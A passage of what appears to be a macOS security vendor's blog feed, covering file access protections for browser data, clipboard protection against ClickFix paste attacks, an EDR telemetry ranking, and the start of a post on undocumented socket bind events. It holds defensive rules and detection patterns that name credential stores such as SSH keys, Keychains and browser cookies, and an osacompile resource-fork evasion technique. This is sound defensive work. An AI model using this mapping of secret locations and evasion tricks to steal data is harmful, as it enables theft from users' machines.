<p>The real power of these controls comes from how precisely you can scope them. Some users in your estate genuinely need <code>osascript</code>, <code>curl</code> or <code>python</code> to do their jobs. Many others do not. Without granular scoping, the populations that need those binaries force every device in the fleet to keep them available, and your protections fall back to the lowest common denominator. See <a href="#adapt-to-your-environment">Adapt to your environment</a> for how Phorion handles this.</p>
<h2 id="file-access-controls">File access controls</h2>
<p>Infostealers are the dominant macOS threat, and file access controls are one of the most effective ways to limit what they can reach. Browser cookies, developer secrets, SSH keys and credential stores get locked to the processes that legitimately touch them, and the rest of the system loses access by default. The attack surface around the data that actually matters drops sharply.</p>
<div class="breakout breakout--wide">
<p><img src="protections-browser-data.png" alt="Protections browser data"></p>
</div>
<p>In practice, a file access protection has two parts: the <strong>paths</strong> to lock down, and the <strong>exclusions</strong> that define which processes are allowed to touch them. Here&rsquo;s an example protection that covers Google Chrome&rsquo;s on-disk data, with exclusions for the browser itself and for password managers that legitimately read it.</p>
<div style="align: center">
<div class="protection-example">
<div class="protection-example__title">Protect Chrome Data</div>
<div class="protection-rules">
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Protected paths</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">path</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">/Users/%%/Library/Application Support/Google/Chrome/*</span>
</div>
</div>
</div>
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Allow Chrome and its helpers</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">source_signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.google.Chrome</span>
<span class="protection-rule__value">com.google.Chrome.helper</span>
<span class="protection-rule__value">com.google.Chrome.helper.renderer</span>
<span class="protection-rule__value">com.google.googleupdater</span>
<span class="protection-rule__value">chrome_crashpad_handler</span>
</div>
<div class="protection-rule__field">source_team_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">EQHXZ8M8AV</span>
</div>
</div>
</div>
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Allow password manager components</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">source_signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">2bua8c4s2c.com.agilebits.onepassword7-helper</span>
<span class="protection-rule__value">com.apple.passwords</span>
<span class="protection-rule__value">com.apple.passwordmanagerbrowserextensionhelper</span>
</div>
</div>
</div>
</div>
</div>
</div>
<p>Equivalent protections ship for Safari, Edge, Brave, Arc, Opera and Firefox, each with their own browser and system exclusions, so the controls work out of the box across a typical macOS estate. Every exclusion is also gated on the process having a valid, trusted code signature, so a malicious binary that spoofs a known signing ID is still blocked because its signature won&rsquo;t validate.</p>
<p>File access controls aren&rsquo;t a new idea on macOS. Google/North Pole Security&rsquo;s <a href="https://github.com/northpolesec/santa">Santa</a> and Phorion&rsquo;s own cookie lockdown mechanism have excelled in this space for years. What&rsquo;s been missing is a single tool that ties them together with the rest of your endpoint security. With Phorion Protections, file access authorization, process execution controls, and EDR telemetry live in one agent, one policy surface, and one investigation workflow.</p>
<h2 id="adapt-to-your-environment">Adapt to your environment</h2>
<p>One size rarely fits all in enterprise environments. Phorion&rsquo;s protections can be scoped to the devices and groups that need them, and tuned per rule with exclusions, so each control fits where it&rsquo;s deployed.</p>
<h3 id="scope-precisely">Scope precisely</h3>
<p>Security controls that fall back to the lowest common denominator leave gaps everywhere. If one development team needs curl or osascript, that doesn&rsquo;t mean your marketing and sales teams do too. Likewise, if your endpoint management setup requires those binaries, they don&rsquo;t have to be permitted unconditionally.</p>
<p>Phorion&rsquo;s scoping handles both cases: apply a protection to a device group, target individual devices, or take a broad rule and carve out exemptions for specific groups or devices. Legitimate usage from administrative scripts can also be allowlisted, while the same binaries stay blocked everywhere else, all without maintaining two parallel policies.</p>
<div style="align: center">
<img src="scoping.png" alt="Protection scoping" style="margin-top:-30px; width:100%;" />
</div>
<h3 id="tune-with-exclusions">Tune with exclusions</h3>
<p>Every protection is paired with the analytics you need to build and validate exclusions confidently. You can see which users and devices a rule would impact, baseline what legitimate behaviour looks like in your environment, and add exclusions where they&rsquo;re safe to enable.</p>
<div style="align: center">
<img src="exclusion.png" alt="Protection exclusions" style="margin-top:-30px; width:100%;" />
</div>
<p>Phorion&rsquo;s protections ship with default exclusions for known-good behaviour, and the analytics will flag whether a new exclusion you&rsquo;re considering is safe before you enable it.</p>
<h2 id="layered-defence">Layered defence</h2>
<p>Responsible security means acknowledging silver bullets do not exist. Motivated attackers will find ways to bypass individual controls, so the goal is to stack independent layers and drive up the cost of exploitation at every stage. Phorion approaches that across four complementary layers:</p>
<ul>
<li><strong>Prevent known malware</strong> with a best-in-class malware engine, integrated through our partnership with DoubleYou, so commodity threats never get the chance to execute in the first place.</li>
<li><strong>Reduce the attack surface</strong> with process execution controls, blocking tooling that endpoints don&rsquo;t need and process flows that should never legitimately happen.</li>
<li><strong>Cut off attack paths</strong> with file access controls. Browser cookies, secrets and credential stores are locked to the processes that legitimately touch them, even after an attacker reaches the endpoint.</li>
<li><strong>Detect what warrants human analysis</strong> with Phorion&rsquo;s EDR, so behaviour that doesn&rsquo;t justify an outright block still surfaces for review.</li>
</ul>
<p>Phorion Protections brings prevention and detection together on a single agent, so defenders move at the same pace as attackers.</p>
<p><a href="#cta">Get in touch to arrange a demo</a> and see Phorion Protections in your environment.</p>
]]></content:encoded><category>EDR</category><category>Protections</category><category>Feature Release</category><category>macOS</category><category>Endpoint Hardening</category><category>File Access Controls</category><media:content url="https://phorion.io/blog/phorion-protections/social-card.png" medium="image"/></item><item><title>Introducing Clipboard Protection: Stopping ClickFix Attacks on macOS</title><link>https://phorion.io/blog/clipboard-protection/</link><guid isPermaLink="true">https://phorion.io/blog/clipboard-protection/</guid><pubDate>Thu, 02 Apr 2026 09:00:00 +0000</pubDate><description>ClickFix-style paste attacks are one of the most effective social engineering techniques targeting macOS. Today we&amp;rsquo;re releasing Clipboard Monitoring, a fully configurable capability that detects and blocks malicious pastes in real time.</description><content:encoded><![CDATA[<p>In recent months, threat actors targeting macOS have increasingly used clipboard manipulation and social engineering to trick users into pasting malicious commands into Terminal, delivering everything from commodity infostealers to more sophisticated espionage tooling.</p>
<p>These &lsquo;pastejacking&rsquo; attacks are alarmingly effective. Unlike other vectors like backdoored software, they sidestep Gatekeeper and Notarization, and typically utilise native, code-signed Apple binaries to achieve infection.</p>
<p>Be it wrapped in the lure of some required update, a helpful script to fix a common problem, or a &ldquo;one-liner&rdquo; <a href="https://pushsecurity.com/blog/installfix">installer for popular software</a>, the attack surface is vast.</p>
<h2 id="acknowledging-the-problem">Acknowledging the problem</h2>
<p>In macOS Tahoe (26.4), Apple introduced two complementary defences against paste attacks.</p>
<p><a href="https://x.com/malwarezoo/status/2037305551911014760">Documented by Ferdous Saljooki</a>, the first is a warning built into Terminal that presents a <code>Possible malware; paste blocked</code> prompt when content is pasted from a browser. As <a href="https://x.com/malwarezoo/status/2037305562929500394">Saljooki&rsquo;s analysis</a> shows, the warning fires only when multiple conditions are all met, including that the user is not a developer and hasn&rsquo;t opened Terminal in the last 30 days. This makes it an effective safeguard for general users, but by design it won&rsquo;t trigger for developer and IT users that regularly use Terminal.</p>
<img src="apple-paste-warning.png" alt="Apple's paste warning displayed when content is copied from a browser window into a Terminal" style="max-width: 400px; display: block; margin: 0 auto;">
<p>The <a href="https://x.com/malwarezoo/status/2038662038046572630">second layer</a> runs inside the XProtect daemon. Subscribing to undocumented Endpoint Security Framework event types (as <a href="https://objective-see.org/blog/blog_0x87.html">detailed</a> by Patrick Wardle), it scans pasted content (exclusively from its own list of browsers) and checks any domains found against Safari&rsquo;s Safe Browsing Service in real time - blocking the paste with a <code>Malware Detected, Paste Blocked</code> prompt. A more substantive defence that operates regardless of user profile, though limited to domains already present in Apple&rsquo;s blocklist.</p>
<p>On the open-source front, tools like Patrick&rsquo;s <a href="https://objective-see.org/products/blockblock.html">BlockBlock</a> provide heuristics-based blocking of content pasted into terminal applications.</p>
<p><strong>These are welcome steps in the right direction.</strong></p>
<p>For security teams managing enterprise fleets, though, there are areas where additional coverage and customisation can complement these protections - content-level heuristics that don&rsquo;t depend on closed domain intelligence, coverage across paste sources and vectors, centralized telemetry, and policy-driven configurability.</p>
<p>Today we&rsquo;re releasing <strong>Clipboard Protection</strong> in beta - a new capability in the Phorion agent that detects and blocks ClickFix-style paste attacks in real time.</p>
<h2 id="a-unique-endpoint-perspective">A unique endpoint perspective</h2>
<p>Phorion&rsquo;s position on the endpoint provides a unique vantage point to build a high-fidelity, highly-configurable, clipboard monitor. At the system level, our agent can observe what no single application can:</p>
<ul>
<li><strong>Where the content came from</strong>: we track which application placed content on the clipboard, so we know whether it originated from a browser, a chat application, or an internal tool</li>
<li><strong>Where the content is going</strong>: we detect when a paste lands in a terminal emulator; the typical destination for these ClickFix attacks</li>
<li><strong>What the paste contains</strong> - we evaluate the clipboard content against configurable heuristics, only logging and taking action where suspicious patterns are detected</li>
<li><strong>How the paste happened</strong>: whether via keyboard shortcut (⌘+V), right-click or toolbar menus, or even a <a href="https://blog.delivr.to/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4">drag-and-drop</a>, we cover every paste vector</li>
</ul>
<p>With this full context, we&rsquo;re not guessing whether a browser-initiated copy ends up in a terminal, or where a terminal paste originally came from.</p>
<p><img src="clipboard-flow.svg" alt="Diagram showing how Phorion&rsquo;s Clipboard Monitor observes the full clipboard journey: source applications (browsers, chat apps, email) flow through the Phorion Agent to destination applications (terminals), with four observation points: source app, source URL, destination, and paste vector"></p>
<h2 id="protect-users-dont-block-productivity">Protect users, don&rsquo;t block productivity</h2>
<p>Not every paste from a browser to a terminal is malicious. Developers paste legitimate commands from documentation dozens of times a day. For some, blanket blocking would grind work to a halt.</p>
<p>That&rsquo;s why Clipboard Protection supports three blocking modes, so you can match the level of protection to your organisation&rsquo;s risk appetite:</p>
<table>
<tr><th style="width: 120px;">Mode</th><th>Behaviour</th></tr>
<tr><td><strong>Audit</strong></td><td>Evaluate every paste, block nothing. Rich telemetry is emitted for every monitored paste, so you can measure your baseline and understand normal clipboard workflows before enabling enforcement</td></tr>
<tr><td><strong>Smart</strong></td><td>The sweet spot for most organisations. Only blocks pastes that match dangerous patterns (suspicious curl flags, encoded payloads, command chaining) while letting routine development pastes through without interruption</td></tr>
<tr><td><strong>Block</strong></td><td>Maximum protection. Blocks all pastes from monitored sources to protected destinations, regardless of content</td></tr>
</table>
<p>Any of these modes can be paired with an <strong>interactive prompt</strong>. Instead of silently blocking a paste, Phorion presents the user with exactly what&rsquo;s about to be pasted and where it came from. The user can choose to allow the paste and continue, or cancel it.</p>
<p>A &ldquo;Remember&rdquo; option, inspired by Patrick&rsquo;s <a href="https://objective-see.org/products/blockblock.html">BlockBlock</a> implementation (mahalo!), lets them approve a paste and suppress further prompts for that terminal session, keeping friction to a minimum for known-good workflows. If the prompt goes unanswered, it times out and blocks automatically.</p>
<p><img src="clipboard-prompt.png" alt="Phorion&rsquo;s clipboard protection prompt showing an intercepted paste into Terminal, with the source application, page URL, and clipboard content visible to the user"></p>
<p>Every decision (whether the paste was blocked silently, blocked by timeout, or explicitly allowed by the user) is logged and available to security teams. This means that even when a user approves a paste, there&rsquo;s a full audit trail of what was pasted, from where, and in what scenario.</p>
<h2 id="adapt-to-your-environment">Adapt to Your Environment</h2>
<p>Transparency is a core tenet of how we build at Phorion. This isn&rsquo;t a blackbox of signatures and hardcoded browsers and terminal apps. Every organisation is different, and Clipboard Protection is designed to reflect that.</p>
<p>Phorion gives you full control over what&rsquo;s monitored, what&rsquo;s blocked, and what&rsquo;s excluded.</p>
<p><strong>Define the sources.</strong> Choose which applications are treated as monitored sources. Browsers are the default (Chrome, Safari, Firefox, Arc, and others), but you can add Slack, Teams, Discord, or any other application that might be used to deliver a ClickFix lure.</p>
<p><strong>Define the destinations.</strong> Choose which applications are protected as paste targets. All major terminal emulators are covered by default (Terminal, iTerm, Warp, Ghostty and others), and you can customise the list as needed.</p>
<p><strong>Define what&rsquo;s suspicious.</strong> In Smart mode, configure the heuristics that determine when a paste is dangerous. Out of the box, it catches the patterns most commonly associated with ClickFix attacks, but you can add your own patterns or adjust thresholds to match your environment.</p>
<p><strong>Exclude what you trust.</strong> Build exclusions for known-safe content. If your team routinely pastes deployment commands from an internal wiki, or you&rsquo;re regularly installing dev tools with one-liner installs, exclude those by domain or by content pattern, so your users aren&rsquo;t interrupted for legitimate work.</p>
<p><strong>Handle clipboard managers gracefully.</strong> Tools like Raycast, Alfred, and Maccy are staples of the macOS workflow. When a user pastes something from a clipboard manager&rsquo;s history, Phorion still traces the content back to its <em>original</em> source. If it was copied from a suspicious website and later replayed via Raycast, we evaluate it accordingly: no gaps, no disruption to the user&rsquo;s workflow.</p>
<img src="clipboard-config.png" alt="Phorion agent settings for Clipboard Protection" style="display: block; margin: 0 auto;">
<h2 id="a-note-on-privacy">A Note on Privacy</h2>
<p>Any feature that observes clipboard content carries an inherent responsibility. A clipboard monitor that isn&rsquo;t carefully designed could in itself become a security concern, whether through misconfiguration by an overzealous admin, or simply through accidental data exposure. We&rsquo;ve built several safeguards directly into the agent to prevent this.</p>
<p><strong>Privacy blocklist.</strong> The Phorion agent ships with a built-in blocklist of privacy-sensitive applications: password managers like 1Password, Bitwarden, Apple&rsquo;s own Passwords app, and others. This applies to both to the source and destination of the paste event and ensures that these applications are never monitored.</p>
<img src="privacy-block.png" alt="Phorion agent settings showing a shield icon next to a password manager bundle ID, indicating it will be ignored by the agent to protect user privacy" style="max-width: 600px; display: block; margin: 0 auto;">
<p><strong>Secret Redaction.</strong> Clipboard content pasted into terminals can contain API keys, tokens, and credentials. The same secret-scrubbing regex engine that redacts sensitive values from Phorion&rsquo;s process telemetry is applied to clipboard snippets before they leave the device.</p>
<p><strong>Configurable snippet length.</strong> Administrators can control the length of the clipboard content snippet included in telemetry via the length setting, from a generous window for deeper analysis right down to zero, which disables content capture entirely. Phorion still hashes the clipboard content, allowing security teams to correlate common attack payloads across their fleet without ever seeing the raw text.</p>
<hr>
<p>Interested in trying it out? Clipboard Protection is available in beta now for all Phorion users.  <a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>Clipboard Protection</category><category>ClickFix</category><category>Pastejacking</category><category>Feature Release</category><media:content url="https://phorion.io/blog/clipboard-protection/social-card.png" medium="image"/></item><item><title>#1 in the EDR Telemetry Project: The Visibility Advantage</title><link>https://phorion.io/blog/edr-telemetry-project/</link><guid isPermaLink="true">https://phorion.io/blog/edr-telemetry-project/</guid><pubDate>Mon, 30 Mar 2026 00:30:00 +0000</pubDate><description>Phorion ranked #1 in the EDR Telemetry Project, scoring more than twice the points of the next closest vendor. This post breaks down our approach to visibility and the critical detection coverage it enables.</description><content:encoded><![CDATA[<p>Phorion tops the rankings of macOS EDRs in <a href="https://www.edr-telemetry.com/">The EDR Telemetry Project&rsquo;s</a> latest scoring release. With more than twice the points of the closest competitor, this blog breaks down not only how we landed in this position, but crucially why it matters that we did.</p>
<p><img src="phorion-telemetry-graph.png" alt="EDR Telemetry Project Graph"></p>
<p>The EDR Telemetry Project is an open source, community-driven project designed to evaluate detection and response telemetry across industry vendors. In March 2026, the project released its first ever macOS vendor evaluation, and the results were underwhelming for most vendors, except Phorion.</p>
<p>High telemetry scores are only meaningful if they translate into real detection capability. The rest of this post walks through a few specific areas where Phorion&rsquo;s visibility enables detections that most competing products simply cannot offer.</p>
<h2 id="visibility-that-matters">Visibility that matters</h2>
<div class="telemetry-chart" style="max-width: 720px; margin: 2rem auto; font-family: 'Inter', -apple-system, sans-serif;">
  <style>
    .telemetry-chart td.col-bar {
      vertical-align: middle;
    }
    @media (max-width: 640px) {
      .telemetry-chart .col-score-raw {
        display: none;
      }
      .telemetry-chart td,
      .telemetry-chart th {
        padding: 0.4rem 0.3rem !important;
      }
      .telemetry-chart td.col-rank,
      .telemetry-chart th.col-rank {
        width: 32px !important;
        min-width: 32px !important;
        max-width: 40px !important;
        padding: 0.4rem 0.5rem !important;
      }
    }
  </style>
  <table style="width: 100%; border-collapse: collapse; font-size: 0.9rem;">
    <thead>
      <tr style="border-bottom: 1px solid #334155; text-align: left;">
        <th class="col-rank" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; width: 30px; vertical-align: middle;">#</th>
        <th style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500;">Vendor</th>
        <th class="col-bar" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; width: 55%;"></th>
        <th class="col-score-raw" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; text-align: right; white-space: nowrap;">/ 42.7</th>
        <th style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; text-align: right;">%</th>
      </tr>
    </thead>
    <tbody>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #e5e7eb; font-weight: 600;">1</td>
        <td style="padding: 0.6rem 0.75rem; color: #0bc2f2; font-weight: 600; white-space: nowrap;">Phorion</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #0891b2; height: 20px; border-radius: 3px; width: 82%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #e5e7eb; text-align: right; font-variant-numeric: tabular-nums; font-weight: 600;">35</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; text-align: right; font-variant-numeric: tabular-nums;">82%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">2</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">Elastic</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 38.8%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">16.55</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">39%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">3</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">CrowdStrike</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 34.2%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">14.6</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">34%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">4</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">MDE</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 32.1%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.7</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">5</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">LimaCharlie</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 31.9%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.6</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">6</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">ESET Inspect</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 31.6%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.5</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">7</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">BitDefender</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 30.2%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">12.9</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">30%</td>
      </tr>
      <tr>
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">8</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">Qualys</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 19.7%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">8.4</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">20%</td>
      </tr>
    </tbody>
  </table>
</div>
<p>Phorion&rsquo;s telemetry is shaped by our own detection engineering. Where additional data improves coverage of real-world Tactics, Techniques, and Procedures (TTPs), we build it in. The result is an agent equipped with the telemetry required for reliable, out-of-the-box detection and response. Crucially, the telemetry sources we ingest are always growing, as you can see from some of our <a href="/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/">recent research</a> where we continuously track new events Apple makes available.</p>
<p>Below are just a few examples of where Phorion&rsquo;s extensive visibility can give you the edge.</p>
<h3 id="file-access-events">File Access Events</h3>
<p><img src="cookie-access.png" alt="Detection firing on cookie store access"></p>
<p>File access telemetry is one of the noisiest event categories an EDR can collect, which is exactly why most vendors avoid it entirely. Some offer a middle ground, allowing teams to monitor specific file paths, which can be useful when you know exactly what you&rsquo;re looking for. But during an incident, what if you didn&rsquo;t think about or know about a critical file? Was it accessed, or are you left guessing?</p>
<p>Phorion collects file access events across the board. This means that when an infostealer touches <code>~/Library/Keychains</code>, when a malicious VS Code extension reads SSH keys from <code>~/.ssh/</code>, or when an attacker accesses browser cookie stores, the telemetry is already there. Beyond detection, Phorion&rsquo;s cookie theft protections actively block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. With the prevalence of infostealers on macOS, file access telemetry is one of the most critical gaps in the majority of EDRs on the market.</p>
<h3 id="tcc-service-usage">TCC Service Usage</h3>
<p>Transparency, Consent, and Control (TCC) governs access to some of the most sensitive capabilities on macOS: screen recording, accessibility, input monitoring, camera and microphone usage. When a process requests or is granted one of these permissions, it represents a significant change in what that process can do. Of the vendors evaluated, only one competitor collects any TCC telemetry at all, and even then only for permission modifications. Phorion collects every instance in which a TCC-protected service is used.</p>
<p><img src="tcc-access-request.png" alt="TCC access request"></p>
<p>Phorion&rsquo;s extensive visibility into TCC events, built on the same research behind <a href="https://github.com/phoriontech/kronos">Kronos</a>, enables detection of highly sensitive permission grants. If a previously unknown binary gains accessibility access (a common prerequisite for keylogging) or screen recording permission (used by surveillance tooling), that event is captured and available for detection logic. Without TCC telemetry, these permission changes happen silently.</p>
<h3 id="file-attribute-changes">File Attribute Changes</h3>
<p>File attribute changes represent a category where the gap between Phorion and the rest of the field is particularly wide. No other evaluated vendor fully supports these events.</p>
<p>This matters because, as an industry, we have observed <a href="https://www.bleepingcomputer.com/news/security/hackers-use-macos-extended-file-attributes-to-hide-malicious-code/">threat actors in the wild manipulating file attributes</a> for defence evasion. As a result, this seemingly nondescript event type proved valuable for identifying malicious behaviour across environments. Ingesting these events proactively - before specific TTPs are publicly associated with them - means the data is already available when a new technique surfaces, rather than wishing you had it after the fact.</p>
<p>An example of how we can use extended attribute events for specific detection cases:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>event_type:SetExtAttr AND 
</span></span><span style="display:flex;"><span>source_signing_id:com.apple.osacompile AND 
</span></span><span style="display:flex;"><span>extattr:com.apple.ResourceFork
</span></span></code></pre></div><p><strong>Resource fork abuse via <code>osacompile</code>.</strong> Attackers use <code>osacompile</code> to hide compiled AppleScript inside a file&rsquo;s resource fork by writing to the <code>com.apple.ResourceFork</code> extended attribute. This is a macOS-specific evasion technique that bypasses conventional content inspection: the malicious payload lives in the resource fork rather than the data fork. Without <code>SetExtAttr</code> events, this technique is invisible to endpoint telemetry.</p>
<h2 id="dispelling-the-myth-of-performance">Dispelling the myth of performance</h2>
<p>One of the most common justifications for limited telemetry is performance. The argument is that collecting more events introduces unacceptable CPU and memory overhead, so vendors aggressively trim what they capture to keep their footprint low.</p>
<p>Phorion takes a different approach. Our agent is built natively for macOS, with deep integration into the platform. That investment enables us to collect and process event data others leave behind, without degrading the experience for end users.</p>
<p>Performance isn&rsquo;t a reason to create critical blind spots; it&rsquo;s an engineering problem. And it&rsquo;s one that Phorion continuously stays on top of by design.</p>
<p>You don&rsquo;t have to take our word for it. Phorion includes built-in performance visibility, so you can see exactly what the agent is doing on every endpoint:</p>
<p><img src="agent-performance.png" alt="Phorion performance dashboard"></p>
<p>Telemetry is the foundation of detection and response. The EDR Telemetry Project&rsquo;s first macOS evaluation confirmed what we already knew: most vendors are leaving critical data on the floor. Phorion collects it, uses it to detect real threats, and does so without compromising the endpoints it protects.</p>
<p>Interested in seeing what this visibility looks like in practice? <a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>EDR</category><category>Telemetry</category><category>macOS</category><media:content url="https://phorion.io/blog/edr-telemetry-project/social-card.png" medium="image"/></item><item><title>Reverse Engineering macOS 26.4's Undocumented Socket Bind Events</title><link>https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/</link><guid isPermaLink="true">https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/</guid><pubDate>Fri, 27 Mar 2026 19:30:00 +0000</pubDate><description>Apple&amp;rsquo;s macOS 26.4 introduced several undocumented Endpoint Security events. We reverse engineered ES_EVENT_TYPE_RESERVED_3 and _4 to reveal new socket bind visibility for security tools.</description><content:encoded><![CDATA[<p>Before diving in, go read <a href="https://objective-see.org/blog/blog_0x86.html">Patrick Wardle&rsquo;s blog post</a> on these new events. Chatting with Patrick while poking at the raw bytes ultimately led to the content in this post, so as Patrick would say, Mahalo! His post covers <code>RESERVED_5</code> and <code>RESERVED_6</code> (network connection AUTH and NOTIFY events) in detail, plus the general approach to subscribing and dumping these undocumented events. This post picks up the remaining two functional events, focusing on <code>RESERVED_3</code> and <code>RESERVED_4</code>.</p>
<h2 id="background">Background</h2>
<p>Each macOS release brings new Endpoint Security Framework (ESF) events that extend the capabilities of security tools. With macOS 26.4, Apple added seven new events, but for the first time, they arrived completely undocumented. They show up in <code>ESTypes.h</code> labeled only as <code>ES_EVENT_TYPE_RESERVED_0</code> through <code>_6</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#586e75">// The following events are available beginning in macOS 26.3
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_0, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_1, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_2, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// The following events are available beginning in macOS 26.4.0
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_3, 
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_4, 
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_5, <span style="color:#586e75">// Covered by Patrick&#39;s blog
